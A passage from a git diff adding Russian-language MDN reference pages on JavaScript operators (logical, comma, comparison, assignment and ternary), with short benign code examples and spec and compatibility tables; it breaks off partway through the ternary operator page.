+<h3 id="Логическое_И"><a name="Logical_AND">Логическое И (<code>&amp;&amp;</code>)</a></h3>
+
+<p>Следующий код показывает пример оператора <code>&amp;&amp;</code> (логическое И).</p>
+
+<pre class="brush: js">a1 = true  &amp;&amp; true      // t &amp;&amp; t вернёт true
+a2 = true  &amp;&amp; false     // t &amp;&amp; f вернёт false
+a3 = false &amp;&amp; true      // f &amp;&amp; t вернёт false
+a4 = false &amp;&amp; (3 == 4)  // f &amp;&amp; f вернёт false
+a5 = "Cat" &amp;&amp; "Dog"     // t &amp;&amp; t вернёт "Dog"
+a6 = false &amp;&amp; "Cat"     // f &amp;&amp; t вернёт false
+a7 = "Cat" &amp;&amp; false     // t &amp;&amp; f вернёт false
+</pre>
+
+<h3 id="Логическое_ИЛИ"><a name="Logical_OR">Логическое ИЛИ (<code>||</code>)</a></h3>
+
+<p>Это код представляет собой пример оператора <code>||</code> (логическое ИЛИ).</p>
+
+<pre class="brush: js">o1 = true  || true       // t || t вернёт true
+o2 = false || true       // f || t вернёт true
+o3 = true  || false      // t || f вернёт true
+o4 = false || (3 == 4)   // f || f вернёт false
+o5 = "Cat" || "Dog"      // t || t вернёт "Cat"
+o6 = false || "Cat"      // f || t вернёт "Cat"
+o7 = "Cat" || false      // t || f вернёт "Cat"
+</pre>
+
+<h3 id="Логическое_НЕ_!"><a name="Logical_NOT">Логическое НЕ (<code>!</code>)</a></h3>
+
+<p>Следующий код является примером оператора <code>!</code> (логическое НЕ).</p>
+
+<pre class="brush: js">n1 = !true              // !t вернёт false
+n2 = !false             // !f вернёт true
+n3 = !"Cat"             // !t вернёт false
+</pre>
+
+<h3 id="Правила_преобразования">Правила преобразования</h3>
+
+<h4 id="Конвертирование_И_в_ИЛИ">Конвертирование И в ИЛИ</h4>
+
+<p>следующая операция использует булев тип:</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; bCondition2</pre>
+
+<p>это всегда равно:</p>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2)</pre>
+
+<h4 id="Конвертирование_ИЛИ_в_И">Конвертирование ИЛИ в И</h4>
+
+<p>эта операция использует булев тип:</p>
+
+<pre class="brush: js">bCondition1 || bCondition2</pre>
+
+<p>что эквивалентно:</p>
+
+<pre class="brush: js">!(!bCondition1 &amp;&amp; !bCondition2)</pre>
+
+<h4 id="Конвертирование_многих_НЕ">Конвертирование многих НЕ</h4>
+
+<p>следующая операция использует булев тип:</p>
+
+<pre class="brush: js">!!bCondition</pre>
+
+<p>что равно:</p>
+
+<pre class="brush: js">bCondition</pre>
+
+<h3 id="Удаление_вложенных_скобок">Удаление вложенных скобок</h3>
+
+<p>Так как логические выражения выполняются слева направо, становится возможным удалить круглые скобки из комплексного выражения, следуя следующим правилам.</p>
+
+<h4 id="Удаление_вложенных_И">Удаление вложенных И</h4>
+
+<p>Это составное выражение использует булев тип:</p>
+
+<pre class="brush: js">bCondition1 || (bCondition2 &amp;&amp; bCondition3)</pre>
+
+<p>что будет равным:</p>
+
+<pre class="brush: js">bCondition1 || bCondition2 &amp;&amp; bCondition3</pre>
+
+<h4 id="Удаление_вложенного_ИЛИ">Удаление вложенного ИЛИ</h4>
+
+<p>Следующее составное выражение использует булев тип:</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; (bCondition2 || bCondition3)</pre>
+
+<p>всегда равно:</p>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2 &amp;&amp; !bCondition3)</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.11')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено в нескольких секциях спецификации: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Логический оператор НЕ</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Бинарные логические операторы</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено в нескольких секциях спецификации: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Логический оператор НЕ</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Бинарные логические операторы</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Определено в нескольких секциях спецификации: <a href="http://tc39.github.io/ecma262/#sec-logical-not-operator">Логический оператор НЕ</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-logical-operators">Бинарные логические операторы</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td><a href="#Logical_AND">Логическое И (<code>&amp;&amp;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Logical_OR">Логическое ИЛИ (<code>||</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Logical_NOT">Логическое НЕ (<code>!</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><a href="#Logical_AND">Логическое И (<code>&amp;&amp;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Logical_OR">Логическое ИЛИ (<code>||</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Logical_NOT">Логическое НЕ (<code>!</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Битовые операторы</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/оператор_запятая/index.html b/files/ru/web/javascript/reference/operators/оператор_запятая/index.html
new file mode 100644
index 0000000000..471c81ba88
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/оператор_запятая/index.html
@@ -0,0 +1,103 @@
+---
+title: Оператор Запятая
+slug: Web/JavaScript/Reference/Operators/Оператор_Запятая
+tags:
+  - Оператор запятая
+translation_of: Web/JavaScript/Reference/Operators/Comma_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Оператор запятая</strong> выполняет каждый из его операндов (слева направо) и возвращает значение последнего операнда.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-commaoperators.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>expr1</em>, <em>expr2, expr3...</em></pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>expr1</code>, <code>expr2, expr3...</code></dt>
+ <dd>Любые выражения.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Вы можете использовать оператор запятая, когда необходимо включить несколько выражений в место, которое принимает только одно выражение. Наиболее частый пример использования этого оператора - это передача нескольких параметров в цикл <code>for</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Если <code>a</code> это двумерный массив элементов размерностью 10 х 10, то приведенный ниже код использует оператор запятая для одновременного изменения двух переменных за раз.</p>
+
+<p>Следующий код выводит в консоль значения диагональных элементов массива:</p>
+<pre class="brush:js;highlight:[1]">for (let i = 0, j = 9; i &lt;= 9; i++, j--)
+  console.log("a[" + i + "][" + j + "] = " + a[i][j]);</pre>
+
+<p>Заметьте, что запятая при объявлении переменной <code>var</code>, <code>let</code> или <code>const</code> <strong>не</strong> является оператором запятая, так как в данном случае она находится не в выражении. Скорее, это спец символ в объявлении переменных, комбинирующий их множество в одно выражение. Практически, эта запятая ведет себя почти так же, как и запятая.</p>
+
+<pre class="brush: js">  // подобное объявление запрещено в строгом режиме(strict mode)
+
+a = b = 3, c = 4; // возвращает 4 в консоль
+console.log(a); // 3
+x = (y = 5, z = 6); // возвращает 6 в консоль
+console.log(x); // 6
+</pre>
+
+<p>Оператор запятая полностью отличается от запятой в массивах, объектах, аргументах и параметрах функции.</p>
+
+<h3 id="Вычисления_и_возврат_значения">Вычисления и возврат значения</h3>
+
+<p>Другой пример использования оператора запятой – вычисления перед возвратом значения. Как было указано ранее, будет возвращён только последний элемент, но все предыдущие также будут вычислены. Таким образом можно сделать:</p>
+
+<pre class="brush: js">function myFunc () {
+  let x = 0;
+
+  return (x += 1, x); // то же самое, что return ++x;
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Спецификация</th>
+    <th scope="col">Статус</th>
+    <th scope="col">Комментарий</th>
+   </tr>
+   <tr>
+    <td>{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}</td>
+    <td>{{Spec2('ESDraft')}}</td>
+    <td> </td>
+   </tr>
+   <tr>
+    <td>{{SpecName('ES6', '#sec-comma-operator', 'Comma operator')}}</td>
+    <td>{{Spec2('ES6')}}</td>
+    <td> </td>
+   </tr>
+   <tr>
+    <td>{{SpecName('ES5.1', '#sec-11.14', 'Comma operator')}}</td>
+    <td>{{Spec2('ES5.1')}}</td>
+    <td> </td>
+   </tr>
+   <tr>
+    <td>{{SpecName('ES1', '#sec-11.14', 'Comma operator')}}</td>
+    <td>{{Spec2('ES1')}}</td>
+    <td>Initial definition</td>
+   </tr>
+  </tbody>
+ </table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+
+
+<p>{{Compat("javascript.operators.comma")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/for">for loop</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/операторы_сравнения/index.html b/files/ru/web/javascript/reference/operators/операторы_сравнения/index.html
new file mode 100644
index 0000000000..f565d7d293
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/операторы_сравнения/index.html
@@ -0,0 +1,285 @@
+---
+title: Операторы сравнения
+slug: Web/JavaScript/Reference/Operators/Операторы_сравнения
+tags:
+  - JavaScript
+  - Операторы
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>В JavaScript имеются как строгие сравнения, так и сравнения с преобразованием типа операндов. Строгие сравнения (к примеру, ===) истинны только в том случае, если типы сравниваемых значений являются одинаковыми (к примеру: string-string, number-number). Однако, чаще используются сравнения с преобразованием типов (к примеру, ==). Такой тип сравнения, перед тем как непосредственно выполнить сравнение, приводит операнды к одному типу. В случае же абстрактного реляционного сравнения, операнды сперва преобразуются в примитивы, затем приводятся к одному типу, и только после этого сравниваются.</p>
+
+<p>Строки сравниваются на основе стандартного лексикографического упорядочения, используя значения Unicode.</p>
+
+<p>Особенности сравнений:</p>
+
+<ul>
+ <li>Две строки строго равны только в том случае, если они имеют одинаковую длину, и те же символы в одинаковой последовательности и соответствующих позициях.</li>
+ <li>Два числа строго равны в том случае, если они численно равны. <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="NaN">NaN</a> не равно ничему, в том числе и NaN. Нули с положительным и отрицательным знаком равны.</li>
+ <li>Два логических значения (boolean) равны только в том случае, если они оба <code>истинны (true)</code> или <code>ложны (false</code>).</li>
+ <li>Два различных объекта никогда не равны как в строгих, так и в абстрактных сравнениях.</li>
+ <li>Сравнение объекта истинно лишь в том случае, если оба операнда ссылаются на один и тот же объект в памяти.</li>
+ <li>Виды <code>null</code> и <code>undefined</code> равны себе как в строгом сравнении, так и в абстрактном.</li>
+</ul>
+
+<p><strong>При использовании сравнения с преобразованием типов, следует быть крайне осторожным, так как это может привести к непредвиденным проблемам, связанным с особенностями конвертации различных типов (см. параграф "Использование операторов равенства").</strong></p>
+
+<h2 id="Операторы_равенства">Операторы равенства</h2>
+
+<h3 id="Равно"><a name="Equality">Равно (==)</a></h3>
+
+<p><em>Оператор равно</em> сначала приводит операнды к одному типу, и затем применяет строгое сравнение. Если оба операнда являются объектами, то JavaScript сравнивает внутренние ссылки, которые равны в том случае, если они ссылаются на один и тот же объект в памяти.</p>
+
+<h4 id="Синтаксис">Синтаксис</h4>
+
+<pre class="syntaxbox notranslate">x == y
+</pre>
+
+<h4 id="Примеры">Примеры</h4>
+
+<pre class="brush: js notranslate"> 1  ==  1      // истина
+"1" ==  1      // истина
+ 1  == '1'     // истина
+ 3  ==  5      // ложь
+ 0  == false   // истина
+"foo" == "bar" // ложь
+</pre>
+
+<h3 id="Не_равно_!"><a name="Inequality">Не равно (!=)</a></h3>
+
+<p><em>Оператор не равно</em> возвращает <code>true</code> в том случае, если операнды не равны.<em>Он </em>аналогичен оператору равенства, перед сравнением приводит операнды к одному типу. В случае если оба операнда являются объектами,  JavaScript сравнивает внутренние ссылки, которые не равны в том случае, если относятся к разным объектам в памяти.</p>
+
+<h4 id="Синтаксис_2">Синтаксис</h4>
+
+<pre class="syntaxbox notranslate">x != y</pre>
+
+<h4 id="Примеры_2">Примеры</h4>
+
+<pre class="brush: js notranslate">1 !=   2       // истина
+1 !=  "1"      // ложь
+1 !=  '1'      // ложь
+1 !=  true     // ложь
+0 !=  false    // ложь
+"foo" != "bar" // истина
+</pre>
+
+<h3 id="Строго_равно"><a name="Identity">Строго равно (===)</a></h3>
+
+<p>Оператор возвращает истину в том случае, если операнды строго равны (см. выше). В отличие от <em>оператора равно</em>, данный оператор <strong>не приводит операнды к одному типу.</strong></p>
+
+<h4 id="Синтаксис_3">Синтаксис</h4>
+
+<pre class="syntaxbox notranslate">x === y</pre>
+
+<h4 id="Примеры_3">Примеры</h4>
+
+<pre class="brush: js  notranslate">3 === 3   // истина
+3 === '3' // ложь
+'foo' === 'foo' // истина
+</pre>
+
+<h3 id="Строго_не_равно_!"><a name="Nonidentity">Строго не равно (!==)</a></h3>
+
+<p><em>Оператор строго не равно </em>возвращает истину в том случае, <strong>если операнды не равны, или их типы отличаются друг от друга.</strong></p>
+
+<h4 id="Синтаксис_4">Синтаксис</h4>
+
+<pre class="syntaxbox notranslate">x !== y</pre>
+
+<h4 id="Примеры_4">Примеры</h4>
+
+<pre class="brush: js notranslate">3 !== '3' // истина
+4 !== 3   // истина
+</pre>
+
+<h2 id="Операторы_сравнения">Операторы сравнения</h2>
+
+<h3 id="Больше_>"><a name="Greater_than_operator">Больше (&gt;)</a></h3>
+
+<p><em>Оператор больше</em> возвращает истину в том случае, если значение левого операнда больше, чем правого.</p>
+
+<h4 id="Синтаксис_5">Синтаксис</h4>
+
+<pre class="syntaxbox notranslate">x &gt; y</pre>
+
+<h4 id="Примеры_5">Примеры</h4>
+
+<pre class="brush: js notranslate">4 &gt; 3 // истина
+1 &gt; 5 // ложь
+</pre>
+
+<h3 id="Больше_или_равно_>"><a name="Greater_than_or_equal_operator">Больше или равно (&gt;=)</a></h3>
+
+<p><em>Оператор больше или равно, </em>возвращает истину в том случае, если значение операнда слева больше или равно значению операнда справа.</p>
+
+<h4 id="Синтаксис_6">Синтаксис</h4>
+
+<pre class="syntaxbox notranslate"> x &gt;= y</pre>
+
+<h4 id="Примеры_6">Примеры</h4>
+
+<pre class="brush: js notranslate">4 &gt;= 3 // истина
+3 &gt;= 3 // истина
+</pre>
+
+<h3 id="Меньше&lt;"><a name="Less_than_operator">Меньше(&lt;)</a></h3>
+
+<p><em>Оператор меньше, </em>возвращает истину в том случае, если значение операнда слева меньше, чем значение операнда справа.</p>
+
+<h4 id="Синтаксис_7">Синтаксис</h4>
+
+<pre class="syntaxbox notranslate"> x &lt; y</pre>
+
+<h4 id="Примеры_7">Примеры</h4>
+
+<pre class="brush: js notranslate">3 &lt; 4 // истина
+5 &lt; 2 // ложь
+</pre>
+
+<h3 id="Меньше_или_равно_&lt;"><a id="Less_than_or_equal_operator" name="Less_than_or_equal_operator">Меньше или равно (&lt;=)</a></h3>
+
+<p><em>Оператор меньше или равно, </em>возвращает истину в том случае, если значение операнда слева меньше, или равно значению операнда справа.</p>
+
+<h4 id="Синтаксис_8">Синтаксис</h4>
+
+<pre class="syntaxbox notranslate"> x &lt;= y</pre>
+
+<h4 id="Примеры_8">Примеры</h4>
+
+<pre class="brush: js notranslate">3 &lt;= 4 // истина
+3 &lt;= 3 // истина
+</pre>
+
+<h2 id="Использование_операторов_равенства">Использование операторов равенства</h2>
+
+<p>Стандартные операции равенства с преобразованием типов (<code>==</code> и <code>!=</code>) используют <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.3">Абстрактный Алгоритм Эквивалентного Сравнения</a> для сравнения двух операндов. Если у операндов различные типы, то JavaScript пытается привести их к одному типу, перед тем как сравнивать их. К примеру, в выражении <code>5 == '5'</code>, строка справа конвертируется в число, и только потом сравнивается.</p>
+
+<p><em>Операторы строгого равентсва</em> (<code>===</code> и <code>!==</code>) используют Строгий Алгоритм Эквивалентного Сравнения, и предназначены для сравнения операндов одного типа. <strong>Если операнды имеют разные типы, то результат операции сравнения всегда будет ложью.</strong> К примеру, выражение <code>5 !== '5'</code> будет истинным.</p>
+
+<p>Используйте <em>операторы строгого равенства</em> в тех случаях, когда необходимо проверять не только значения операндов, но так же и их типы. Во противном случае, используйте операторы стандартного равенства, которые позволяют сравнить два операнда вне зависимости от их типов.</p>
+
+<p>Когда происходит преобразование типов (т.е в случаях использования нестрогого сравнения), JavaScript преобразует типы String, Number, Boolean и Object, следующим образом:</p>
+
+<ul>
+ <li>При сравнении числа <code>(Number)</code> и строки <code>(String)</code>, JavaScript пытается преобразовать числовой литерал строки в число. Затем полученное число округляется до ближайшего возможного значения типа <code>Number</code>.</li>
+ <li>Если один из операндов является логическим <code>(Boolean)</code>, то он преобразуется в значение типа <code>(Number)</code>. <strong>Если значение логического операнда равняется истине <code>(true)</code>, то значение этого операнда преобразуется в 1. Иначе - в 0 <code>(ложь / false)</code>.</strong></li>
+ <li>Если объект сравнивается с числом или строкой, JavaScript пытается получить значение по умолчанию для данного объекта. Полученное значение преобразуется в примитив, посредством методов <strong><code>valueOf()</code></strong> и <strong><code>toString()</code></strong>. Если преобразовать объект не удается, генерируется ошибка времени выполнения.</li>
+ <li>Обратите внимание на то, что объект преобразуется в примитив, если, и только если, второй операнд является примитивом. В ином случае, операнды сравниваются как объекты, соответственно, операция сравнения вернет истину в том случае, если внутренние ссылки обоих объектов ссылаются на один и тот же объект в памяти.</li>
+</ul>
+
+<div class="note"><strong>Внимание:</strong> Объекты String имеют тип Object, а не String. Такие объекты используются редко, так что следующий код может вас сильно удивить.</div>
+
+<pre class="brush:js notranslate">// Истина, так как оба операнда имеют тип String
+'foo' === 'foo'
+
+var a = new String('foo');
+var b = new String('foo');
+
+// Ложь, так как операнды являются объектами, внутренние ссылки которых, ссылаются на разные объекты в памяти
+a == b
+
+// Ложь, так как операнды являются объектами, внутренние ссылки которых, ссылаются на разные объекты в памяти
+a === b
+
+// Истина, так как объект a (String) будет преобразован в строку 'foo', перед сопоставлением
+a == 'foo' </pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Появление в спецификации. Выполняется в JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Добавлены операторы <code>===</code> и <code>!==</code>. Выполняется в JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено в нескольких секциях спецификации: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.8">Относительные операторы</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9">Операторы равенства</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-relational-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено в нескольких секциях спецификации: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.8">Относительные операторы</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9">Операторы равенства</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Определено в нескольких секциях спецификации: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.8">Относительные операторы</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9">Операторы равенства</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th></th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table" style="height: 73px; width: 1078px;">
+ <tbody>
+  <tr>
+   <th></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также"><br>
+ Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.is()")}}</li>
+ <li><a href="/ru/docs/Web/JavaScript/Equality_comparisons_and_sameness">Операторы сравнения и одинаковость</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/присваивание/index.html b/files/ru/web/javascript/reference/operators/присваивание/index.html
new file mode 100644
index 0000000000..0517dc2ccd
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/присваивание/index.html
@@ -0,0 +1,66 @@
+---
+title: Присваивание (=)
+slug: Web/JavaScript/Reference/Operators/Присваивание
+tags:
+  - Assignment operator
+  - JavaScript
+  - Language feature
+  - Operator
+  - Reference
+  - Оператор
+  - Оператор присваивания
+  - "Особенность\_языка"
+  - справочник
+translation_of: Web/JavaScript/Reference/Operators/Assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Простой оператор присваивания (<code>=</code>) используется для присваивания значения переменной. Операция присваивания вычисляется в присваиваемую величину. Присваивание по цепочке (<em>chaining</em>) используется для назначения нескольким переменным одинакового значения.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}</p>
+
+<div></div>
+
+<p class="hidden">Источник для этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в интерактивный проект примеров, пожалуйста, клонируйте https://github.com/mdn/interactive-examples и пришлите нам запрос.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><strong>Оператор:</strong> x = y
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простое_и_цепное_присваивание">Простое и цепное присваивание</h3>
+
+<pre class="brush: js notranslate">// Предположим следующие переменные и их значения
+//  x = 5
+//  y = 10
+//  z = 25
+
+x = y     // x будет присвоено значение 10
+x = y = z // x, y и z будут равны 25</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("javascript.operators.assignment")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment">Assignment operators in the JS guide</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/условный_оператор/index.html b/files/ru/web/javascript/reference/operators/условный_оператор/index.html
new file mode 100644
index 0000000000..344d7f21d9
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/условный_оператор/index.html
@@ -0,0 +1,169 @@
+---
+title: Условный (тернарный) оператор
+slug: Web/JavaScript/Reference/Operators/Условный_оператор
+tags:
+  - JavaScript
+  - Оператор
+translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Условный (тернарный) оператор</strong> - единственный оператор в JavaScript, принимающий три операнда: условие, за которым следует знак вопроса (?), затем выражение, которое выполняется, если условие истинно, сопровождается двоеточием (:), и, наконец, выражение, которое выполняется, если условие ложно. Он часто используется в качестве укороченного варианта условного оператора <a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if</code></a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>условие</em> ? <em>выражение1</em> : <em>выражение2 </em></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>условие</code></dt>
+ <dd>Выражение, принимающее значение <code>true</code> или <code>false</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>выражение1</code>, <code>выражение2</code></dt>
+ <dd>Выражения, значения которых могут принадлежать любому типу.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Оператор возвращает значение <code>выражения1</code>, если <code>условие</code> верно, и значение <code>выражения2</code> в противном случае. Например, чтобы вывести сообщение, текст которого зависит от значения переменной <code>isMember</code>, можно использовать такое выражение:</p>
+
+<pre class="brush: js notranslate">"The fee is " + (isMember ? "$2.00" : "$10.00")
+</pre>
+
+<p>Также можно присваивать значения переменным на основе результатов работы тернарного оператора :</p>
+
+<pre class="brush: js notranslate">var elvisLives = Math.PI &gt; 4 ? "Да" : "Нет";</pre>
+
+<p>Возможны множественные тернарные операции (обратите внимание: условный оператор ассоциативен справа):</p>
+
+<pre class="brush: js notranslate">var firstCheck = false,
+    secondCheck = false,
+    access = firstCheck ? "Доступ запрещен" : secondCheck ? "Доступ запрещен" : "Доступ разрешен";
+
+console.log( access ); // выводит в консоль "Доступ разрешен"</pre>
+
+<p>Тернарные операции можно использовать и сами по себе - для выполнения различных операций:</p>
+
+<pre class="brush: js notranslate">var stop = false, age = 16;
+
+age &gt; 18 ? location.assign("continue.html") : stop = true;
+</pre>
+
